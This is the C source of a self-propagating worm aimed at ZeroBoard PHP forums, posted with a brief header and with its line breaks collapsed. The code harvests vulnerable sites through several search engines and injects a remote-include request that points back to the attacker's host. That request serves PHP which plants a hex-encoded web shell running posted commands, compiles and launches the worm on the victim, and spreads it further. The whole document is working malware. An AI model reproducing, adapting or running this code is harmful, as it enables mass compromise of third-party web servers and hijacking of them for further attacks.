/*
ZeroBoard Worm Source Code
The worm exploits a vulnerability in ZeroBoard, allowing an attacker to inject arbitrary PHP code. /str0ke*//*** ZeroBoard -1day INE w0rm*/#include <stdio.h>#include <unistd.h>#include <stdlib.h>#include <sys/socket.h>#include <netdb.h>#include <netinet/in.h>#include <signal.h>#include <sys/ioctl.h>#include <net/if.h>#ifdef __sun__#include <sys/sockio.h>#endif /* __SunOS__ */#define DEBUG_ING#undef DEBUG_ING#define TMP_FILE "./tmp.core"#define CMD_FILE "./cmd.core"#define PRC_FILE "./proc.core"#define SCS (0)#define MIN (1)#ifdef __linux__#define DEF_ETH "eth0"#else#ifdef __FreeBSD__#define DEF_ETH "ed0"#else#ifdef __sun__#define DEF_ETH "hme0"#endif#endif#endif#define MAX_BUF (0x0000ffff)#define FIR_BUF (0x00000800)#define SEC_BUF (0x00000400)#define THR_BUF (0x00000200)#define MIN_BUF (0x00000100)#define VENDOR "nzeo.com"// search rule#define FD_RULE_0 "/zboard/zboard.php"#define FD_RULE_1 "/zb41/zboard.php"#define FD_RULE_2 "/bbs/zboard.php"#define FD_RULE_3 "/zb/zboard.php"#define FD_RULE_4 "/zb40/zboard.php"#define FD_RULE_5 "/board/zboard.php"#define FD_RULE_6 "zboard.php"#define FD_RULE_7 "zboard.ph"// pattern#define FD_PATH_0 "/zboard/skin/zero_vote/login.php"#define FD_PATH_1 "/zb41/skin/zero_vote/login.php"#define FD_PATH_2 "/bbs/skin/zero_vote/login.php"#define FD_PATH_3 "/zb/skin/zero_vote/login.php"#define FD_PATH_4 "/zb40/skin/zero_vote/login.php"#define FD_PATH_5 "/board/skin/zero_vote/login.php"#define FD_PATH_6 "/skin/zero_vote/login.php"#define RESULT_OK "200 OK"#define MAKE_STR1 "BACKDOOR MAKE SUCCESS"#define MAKE_STR2 "ZBCODE MAKE SUCCESS"#define DELT_STR1 "BACKDOOR DELETE SUCCESS"#define DELT_STR2 "ZBCODE DELETE SUCCESS"#define DEF_PORT (31337)#define CONN_PORT (80)#define DEF_TIME (20)int set_sock(char *sc_gt_host,int port,int type);void re_connt_lm(int st_sock_va,int type);int proc_r();void t_kill();void sf_exit();int g_ip(char *ip);int make_cmd_file();int filter_f(char *test_bf,int tnum);int sock;struct tg_rl{ int r_num; char *r_str; char *url_str;};#define TARGET_NUM (7)#define SEARCH_NUM (4)struct tg_rl __tg_rule_va[]={ {0,FD_RULE_0,FD_PATH_0}, {1,FD_RULE_1,FD_PATH_1}, {2,FD_RULE_2,FD_PATH_2}, {3,FD_RULE_3,FD_PATH_3}, {4,FD_RULE_4,FD_PATH_4}, {5,FD_RULE_5,FD_PATH_5}, {6,FD_RULE_6,FD_PATH_6}, {7,FD_RULE_7,FD_PATH_6}, {8,NULL,NULL}};struct search_rule{ int num; u_char *url; int maxnum; int defnum; u_char *http_head;};struct search_rule search_va[]={ {0,"www.google.com",990,10,"http://"}, {1,"kr.search.yahoo.com",990,15,"http://"}, {2,"search.nate.com",480,10,"http://"}, {3,"search.lycos.com",990,10,"//"}, {4,"kr.altavista.com",1000,10,"//"}, {5,NULL,0,0,NULL}};void t_kill(){#ifdef DEBUG_ING fprintf(stdout,"time out\n");#endif close(sock); sock=-1; signal(SIGALRM,SIG_DFL); return;}void sf_exit(){#ifdef DEBUG_ING fprintf(stdout,"safe exit\n");#endif close(sock); kill((int)proc_r(),9); unlink(TMP_FILE); unlink(CMD_FILE); unlink(PRC_FILE); exit(-1);}int main(int argc,char *argv[]){ FILE *fp; int tnum=(SCS); int chk=(SCS); int gogo=(SCS); int whgl=(SCS); int qnum=(SCS); int tgrl_sl=(MIN); int _conn_num=(SCS); int port=(CONN_PORT); int def_port=(DEF_PORT); int sc_gt_sock; int host_chk=(SCS); u_char *gg_ptr=NULL; u_char *t_ptr=NULL; u_char __zr_bf[(MAX_BUF)]; u_char *port_ptr=NULL; char pkt[(FIR_BUF)]; char host[(SEC_BUF)]; char url[(SEC_BUF)]; char test_bf[(MAX_BUF)]; char req_t_bf[(THR_BUF)]; char ip[(MIN_BUF)]; char atk_code[(MIN_BUF)]; signal(SIGINT,sf_exit); signal(SIGTSTP,sf_exit); while((whgl=getopt(argc,argv,"S:s:T:t:Q:q:P:p:H:h:U:u:"))!=EOF) { extern char *optarg; switch(whgl) { case 'S': case 's': tnum=atoi(optarg); if(SEARCH_NUM<tnum) { fprintf(stderr,"target error\n"); exit(-1); } break; case 'T': case 't': tgrl_sl=atoi(optarg); if(TARGET_NUM<tgrl_sl) { fprintf(stderr,"target error\n"); exit(-1); } break; case 'Q': case 'q': qnum=atoi(optarg); break; case 'P': case 'p': def_port=atoi(optarg); break; case 'H': case 'h': memset((char *)host,0,sizeof(host)); strncpy(host,optarg,sizeof(host)-1); host_chk++; break; case 'U': case 'u': memset((char *)url,0,sizeof(url)); strncpy(url,optarg,sizeof(url)-1); host_chk++; break; default: exit(-1); } } (int)make_cmd_file(); if(fork()==0) { signal(SIGALRM,SIG_IGN); for(whgl=0;whgl<argc;whgl++) { memset((char *)argv[whgl],0,strlen(argv[whgl])); } strcpy(argv[0],"receive mode process"); if((fp=fopen(PRC_FILE,"w"))==NULL) { sf_exit(); } fprintf(fp,"%d\n",getpid()); fclose(fp); sc_gt_sock=(int)set_sock(NULL,def_port,1); (void)re_connt_lm(sc_gt_sock,0); } else { for(whgl=0;whgl<argc;whgl++) { memset((char *)argv[whgl],0,strlen(argv[whgl])); } strcpy(argv[0],"scanning mode process"); switch(host_chk) { case 1:#ifdef DEBUG_ING fprintf(stdout,"argument error\n");#endif sf_exit(); break; case 2: goto ok; break; }#ifdef DEBUG_ING fprintf(stdout,"search url: %s\n",search_va[tnum].url);#endif for(_conn_num=qnum; _conn_num< search_va[tnum].maxnum; _conn_num += (search_va[tnum].defnum)) {conn: if((sock=(int)set_sock(search_va[tnum].url,(CONN_PORT),0))==-1) { goto conn; } memset((char *)req_t_bf,0,sizeof(req_t_bf)); switch(search_va[tnum].num) { case 0: snprintf(req_t_bf,sizeof(req_t_bf)-1, "GET /search?q=%s" "&hl=ko&lr=&ie=UTF-8&start=%d&sa=N " "HTTP/1.0\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num); break; case 1: snprintf(req_t_bf,sizeof(req_t_bf)-1, "GET /search/web?p=%s&b=%d " "HTTP/1.0\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num); break; case 2: snprintf(req_t_bf,sizeof(req_t_bf)-1, "GET /webpage/search.asp?query=%s&start=%d " "HTTP/1.0\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num); break; case 3: snprintf(req_t_bf,sizeof(req_t_bf)-1, "GET /default.asp?query=%s&first=%d&pmore=more " "HTTP/1.0\r\n" "Accept-Language: ko\r\n" "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n" "Host: %s\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num,search_va[tnum].url); break; case 4: snprintf(req_t_bf,sizeof(req_t_bf)-1, "GET /web/results?itag=wrx&q=%s&stq=%d " "HTTP/1.0\r\n" "Accept-Language: ko\r\n" "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n" "Host: %s\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num,search_va[tnum].url); break; } send(sock,req_t_bf,strlen(req_t_bf),0); whgl=(SCS); if((fp=fopen(TMP_FILE,"w"))==NULL) { return(-1); } signal(SIGALRM,SIG_IGN); alarm(MAX_BUF); memset((char *)test_bf,0,sizeof(test_bf)); while(recv(sock,test_bf,sizeof(test_bf)-1,0)) { fprintf(fp,"%s",test_bf); memset((char *)test_bf,0,sizeof(test_bf)); } fclose(fp); close(sock); if((fp=fopen(TMP_FILE,"r"))==NULL) { return(-1); } while(fgets(__zr_bf,sizeof(__zr_bf)-1,fp)) { gg_ptr=__zr_bf; while(MIN) { t_ptr=(char *)strstr(gg_ptr,search_va[tnum].http_head); gg_ptr=(char *)strstr(gg_ptr,search_va[tnum].http_head) + strlen(search_va[tnum].http_head); if(t_ptr!=NULL) { memset((char *)test_bf,0,sizeof(test_bf)); whgl=(SCS); chk=(SCS); for(gogo=0;gogo<strlen(t_ptr);gogo++) { if(chk) { if(t_ptr[gogo]=='>') chk=0; } else { if(t_ptr[gogo]==' ') continue; else if(t_ptr[gogo]=='<') chk=1; else test_bf[whgl++]=t_ptr[gogo]; } } if(!strstr(test_bf,__tg_rule_va[tgrl_sl].r_str)) continue; else t_ptr=(char *)strstr(test_bf,__tg_rule_va[tgrl_sl].r_str); if(t_ptr!=NULL) t_ptr[0]='\0'; else continue; if(filter_f(test_bf,tnum)) { t_ptr=(char *)strstr(test_bf,search_va[tnum].http_head) + strlen(search_va[tnum].http_head); if(strstr(t_ptr,search_va[tnum].http_head)) continue; memset((char *)host,0,sizeof(host)); memset((char *)url,0,sizeof(url)); chk=(SCS); if(strstr(test_bf,search_va[tnum].http_head)) { t_ptr=(char *)strstr(test_bf,search_va[tnum].http_head) + strlen(search_va[tnum].http_head); port=(CONN_PORT); for(whgl=0;whgl<strlen(t_ptr)+1;whgl++) { if(t_ptr[whgl]=='/') { for(gogo=0;whgl<strlen(t_ptr);whgl++) url[gogo++]=t_ptr[whgl]; strcat(url,__tg_rule_va[tgrl_sl].url_str); break; } else if(t_ptr[whgl]=='\0') { strncpy(url,__tg_rule_va[tgrl_sl].url_str,sizeof(url)-1); break; } else if(t_ptr[whgl]==':') { port_ptr=(char *)strstr(t_ptr,":")+1; port=atoi(port_ptr); } else host[chk++]=t_ptr[whgl]; }#ifdef DEBUG_ING fprintf(stdout,"Total:%s,URL:%s,HOST:%s,PORT:%d\n",test_bf,url,host,port);#endifok: sock=set_sock(host,port,0); if(sock==-1) continue; else { memset((char *)ip,0,sizeof(ip)); memset((char *)atk_code,0,sizeof(atk_code)); memset((char *)pkt,0,sizeof(pkt)); (int)g_ip(ip); snprintf(atk_code,sizeof(atk_code)-1,"dir=http://%s:%d/\r\n",ip,def_port); snprintf(pkt,sizeof(pkt)-1, "POST http://%s%s HTTP/1.0\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: %d\r\n" "Host: %s\r\n\r\n%s\r\n",host,url,strlen(atk_code),host,atk_code); send(sock,pkt,strlen(pkt),0); memset((char *)pkt,0,sizeof(pkt)); recv(sock,pkt,sizeof(pkt)-1,0);#ifdef DEBUG_ING if(strstr(pkt,RESULT_OK)) { if(strstr(pkt,MAKE_STR1)) fprintf(stdout,"%s\n",MAKE_STR1); if(strstr(pkt,MAKE_STR2)) fprintf(stdout,"%s\n",MAKE_STR2); if(strstr(pkt,DELT_STR1)) fprintf(stdout,"%s\n",DELT_STR1); if(strstr(pkt,DELT_STR2)) fprintf(stdout,"%s\n",DELT_STR2); printf("%s: %s\n",RESULT_OK,host); }#endif } close(sock); if(host_chk) { sf_exit(); } } } } else break; } memset((char *)__zr_bf,0,sizeof(__zr_bf)); } fclose(fp); unlink(TMP_FILE); } sf_exit(); }}int set_sock(char *sc_gt_host,int port,int type){ struct sockaddr_in sock_st; struct sockaddr_in t_st; int nw_gt_sock,s_s; struct hostent *hst_etr; int sc_gt_sock; int t_c=0; char t_b[(SEC_BUF)]; FILE *fp; char http_rq[]="HTTP/1.1 200 OK\r\n\r\n"; if(!type){ signal(SIGALRM,t_kill); alarm(DEF_TIME); if((hst_etr=gethostbyname(sc_gt_host))==NULL) { return(-1); } if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) { return(-1); } sock_st.sin_family=(AF_INET); sock_st.sin_port=htons(port); sock_st.sin_addr=*((struct in_addr *)hst_etr->h_addr); memset(&(sock_st.sin_zero),0,8); if(connect(sock,(struct sockaddr *)&sock_st,sizeof(struct sockaddr))==-1) { close(sock); return(-1); } return(sock); } else{ if((sc_gt_sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) { return(-1); } sock_st.sin_family=(AF_INET); sock_st.sin_port=htons(port); sock_st.sin_addr.s_addr=(INADDR_ANY); memset(&(sock_st.sin_zero),0,8); if(bind(sc_gt_sock,(struct sockaddr *)&sock_st,sizeof(struct sockaddr))==-1) { close(sc_gt_sock); return(-1); }#define BK_LG 10 if(listen(sc_gt_sock,(BK_LG))==-1){ close(sc_gt_sock); return(-1); } while(1){ s_s=sizeof(struct sockaddr_in); if((nw_gt_sock=accept(sc_gt_sock,(struct sockaddr *)&t_st,&s_s))==-1) { close(nw_gt_sock); close(sc_gt_sock); return(-1); } while(recv(nw_gt_sock,&t_c,1,0)){ if(t_c==0x0d){ recv(nw_gt_sock,&t_c,1,0); if(t_c==0x0a){ recv(nw_gt_sock,&t_c,1,0); if(t_c==0x0d){ recv(nw_gt_sock,&t_c,1,0); if(t_c==0x0a){ break; } } } } } send(nw_gt_sock,http_rq,strlen(http_rq),0); if((fp=fopen(CMD_FILE,"r"))==NULL){ close(nw_gt_sock); close(sc_gt_sock); return(-1); } memset((char *)t_b,0,sizeof(t_b)); while(fgets(t_b,sizeof(t_b)-1,fp)){ send(nw_gt_sock,t_b,strlen(t_b),0); } fclose(fp); close(nw_gt_sock); continue; } close(sc_gt_sock); return(-1); }}void re_connt_lm(int st_sock_va,int type){ if(st_sock_va==-1) { if(!type){ kill(getppid(),9); // parent } kill((int)proc_r(),9); // child sf_exit(); }}int proc_r(){ FILE *fp; int proc_n; if((fp=fopen(PRC_FILE,"r"))==NULL){ exit(-1); // child check. } fscanf(fp,"%16d",&proc_n); fclose(fp); return proc_n;}int g_ip(char *ip){ int sock; struct ifreq ifpq; struct sockaddr_in *pq; memset(&ifpq,0,sizeof(ifpq)); if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) { return(-1); } pq=(struct sockaddr_in *)&ifpq.ifr_addr; pq->sin_family=AF_INET; memcpy(ifpq.ifr_name,(DEF_ETH),sizeof(ifpq.ifr_name)); if(ioctl(sock,SIOCGIFADDR,&ifpq)==0) { memset((char *)ip,0,(MIN_BUF)); snprintf(ip,(MIN_BUF)-1,"%s",inet_ntoa(pq->sin_addr)); } return 0;}#define BACKDOOR_PATH "zblog.php"#define CODE_PATH "zbcode"#define CODE_PATH_SRC "zbcode.c"int make_cmd_file(){ unsigned long w1=0; FILE *fp; FILE *pf; if((fp=fopen(CMD_FILE,"w"))==NULL) { return(-1); } fprintf(fp,"<?\n" "chdir('../../');\n\n" "if(($fp=fopen('%s','r'))!=NULL)\n" "{\n" "$pnum=fread($fp,32);\n" "fclose($fp);\n" "$pnum=str_replace(\"\\n\",\"\",$pnum);\n" "if(($fp=fopen('/proc/'.$pnum.'/stat','r'))!=NULL)\n" "{\n" "exit;\n" "}\n" "}\n\n" "$cont=\"\\x3c\\x3f\\x0a\\x09\\x65\\x63\\x68\\x6f\\x20\\x27\\x3c\\x46\".\n" "\"\\x4f\\x52\\x4d\\x20\\x41\\x43\\x54\\x49\\x4f\\x4e\\x3d\\x24\".\n" "\"\\x50\\x48\\x50\\x5f\\x53\\x45\\x4c\\x46\\x20\\x4d\\x45\\x54\".\n" "\"\\x48\\x4f\\x44\\x3d\\x50\\x4f\\x53\\x54\\x3e\\x27\\x3b\\x0a\".\n" "\"\\x09\\x65\\x63\\x68\\x6f\\x20\\x27\\x3c\\x49\\x4e\\x50\\x55\".\n" "\"\\x54\\x20\\x54\\x59\\x50\\x45\\x3d\\x48\\x49\\x44\\x44\\x45\".\n" "\"\\x4e\\x20\\x4e\\x41\\x4d\\x45\\x3d\\x63\\x6d\\x64\\x20\\x56\".\n" "\"\\x41\\x4c\\x55\\x45\\x3d\\x24\\x63\\x6f\\x6d\\x6d\\x61\\x6e\".\n" "\"\\x64\\x3e\\x3c\\x2f\\x46\\x4f\\x52\\x4d\\x3e\\x3c\\x50\\x52\".\n" "\"\\x45\\x3e\\x27\\x3b\\x0a\\x09\\x24\\x63\\x6f\\x6d\\x6d\\x61\".\n" "\"\\x6e\\x64\\x3d\\x73\\x74\\x72\\x5f\\x72\\x65\\x70\\x6c\\x61\".\n" "\"\\x63\\x65\\x28\\x27\\x5c\\x5c\\x27\\x2c\\x27\\x27\\x2c\\x24\".\n" "\"\\x63\\x6f\\x6d\\x6d\\x61\\x6e\\x64\\x29\\x3b\\x0a\\x09\\x65\".\n" "\"\\x63\\x68\\x6f\\x20\\x60\\x24\\x63\\x6f\\x6d\\x6d\\x61\\x6e\".\n" "\"\\x64\\x60\\x3b\\x0a\\x3f\\x3e\\x0a\";\n\n" "$fp=fopen('%s','w');\n" "fputs($fp,$cont);\n" "fclose($fp);\n\n",PRC_FILE,BACKDOOR_PATH); if((pf=fopen(CODE_PATH,"r"))==NULL) { return(-1); } fprintf(fp,"$cont=\""); while(fread(&w1,1,1,pf)) { fprintf(fp,"\\x%02x",w1); } fclose(pf); fprintf(fp,"\";\n\n"); fprintf(fp,"$fp=fopen('%s','w');\n" "fputs($fp,$cont);\n" "fclose($fp);\n\n",CODE_PATH); if((pf=fopen(CODE_PATH_SRC,"r"))==NULL) { return(-1); } fprintf(fp,"$cont=\""); while(fread(&w1,1,1,pf)) { fprintf(fp,"\\x%02x",w1); } fclose(pf); fprintf(fp,"\";\n\n"); fprintf(fp,"$fp=fopen('%s','w');\n" "fputs($fp,$cont);\n" "fclose($fp);\n\n",CODE_PATH_SRC); fprintf(fp,"$RES=`gcc -o %s %s`;\n\n",CODE_PATH,CODE_PATH_SRC); fprintf(fp,"chmod('%s',0755);\n",CODE_PATH); fprintf(fp,"if(($fp=fopen('%s','r'))!=NULL){\n",BACKDOOR_PATH); fprintf(fp,"echo \"%s\\n\";\n",MAKE_STR1); fprintf(fp,"} fclose($fp);\n\n"); fprintf(fp,"if(($fp=fopen('%s','r'))!=NULL){\n",CODE_PATH); fprintf(fp,"echo \"%s\\n\";\n",MAKE_STR2); fprintf(fp,"} fclose($fp);\n\n");#if 1 fprintf(fp,"$fnum=(rand()%%%d);\n",TARGET_NUM); fprintf(fp,"$snum=(rand()%%%d);\n",SEARCH_NUM); fprintf(fp,"$randnum=(rand()%400);\n"); fprintf(fp,"while(1)\n{\n"); fprintf(fp,"if(($fp=fopen('%s','r'))!=NULL)\n" "{\n" "$pnum=fread($fp,32);\n" "fclose($fp);\n" "$pnum=str_replace(\"\\n\",\"\",$pnum);\n" "if(($fp=fopen('/proc/'.$pnum.'/stat','r'))!=NULL)\n" "{\n" "exit;\n" "}\n" "}\n\n",PRC_FILE); fprintf(fp,"$port=(rand()%%65500);\n"); fprintf(fp,"if($port>1024){\n"); fprintf(fp,"exec(\"./%s -t $fnum -p $port -s $snum -q $randnum\");\n",CODE_PATH); fprintf(fp,"}\n}\n");#else fprintf(fp,"unlink('%s');\n",BACKDOOR_PATH); fprintf(fp,"unlink('%s');\n",CODE_PATH); fprintf(fp,"if(($fp=fopen('%s','r'))==NULL){\n",BACKDOOR_PATH); fprintf(fp,"echo \"%s\\n\";\n",DELT_STR1); fprintf(fp,"} else { fclose($fp);\n"); fprintf(fp,"$result=`rm -f %s`;\n$result=`del %s`;\n",BACKDOOR_PATH,BACKDOOR_PATH); fprintf(fp,"if(($fp=fopen('%s','r'))==NULL){\n",BACKDOOR_PATH); fprintf(fp,"echo \"%s\\n\";\n",DELT_STR1); fprintf(fp,"}\n}\n"); fprintf(fp,"if(($fp=fopen('%s','r'))==NULL){\n",CODE_PATH); fprintf(fp,"echo \"%s\\n\";\n",DELT_STR2); fprintf(fp,"} else { fclose($fp);\n"); fprintf(fp,"$result=`rm -f %s`;\n$result=`del %s`;\n",CODE_PATH,CODE_PATH); fprintf(fp,"if(($fp=fopen('%s','r'))==NULL){\n",CODE_PATH); fprintf(fp,"echo \"%s\\n\";\n",DELT_STR2); fprintf(fp,"}\n}\n");#endif fprintf(fp,"?>\n"); fclose(fp);}int filter_f(char *test_bf,int tnum){ switch(search_va[tnum].num) { case 0: /* google */ if(!strstr(test_bf,"google")&&!strstr(test_bf,"/search?q=cache:") &&!strstr(test_bf,"<")&&!strstr(test_bf,">") &&!strstr(test_bf,"%3F")&&!strstr(test_bf,"...") &&!strstr(test_bf,VENDOR)) { return 1; } else return 0; break; case 1: /* yahoo */ if(!strstr(test_bf,"yahoo")&&!strstr(test_bf,"/cache.php?") &&!strstr(test_bf,"<")&&!strstr(test_bf,">") &&!strstr(test_bf,"search")&&!strstr(test_bf,".html%") &&!strstr(test_bf,"...")&&!strstr(test_bf,VENDOR)) { return 1; } else return 0; break; case 2: /* nate */ if(!strstr(test_bf,"nate")&&!strstr(test_bf,"RESULT") &&!strstr(test_bf,"<")&&!strstr(test_bf,">") &&!strstr(test_bf,"/search/")&&!strstr(test_bf,"%3F") &&!strstr(test_bf,"...")&&!strstr(test_bf,VENDOR)) { return 1; } else return 0; break; case 3: /* lycos */ if(!strstr(test_bf,"lycos")&&!strstr(test_bf,"<") &&!strstr(test_bf,">")&&!strstr(test_bf,"%3F") &&!strstr(test_bf,"...")&&!strstr(test_bf,VENDOR)) { return 1; } else return 0; break; case 4: /* altavista */ if(!strstr(test_bf,"ref_")&&!strstr(test_bf,"<") &&!strstr(test_bf,">")&&!strstr(test_bf,"%3f") &&!strstr(test_bf,"...")&&!strstr(test_bf,VENDOR)) { return 1; } else return 0; break; default: return 0; break; } return 0;}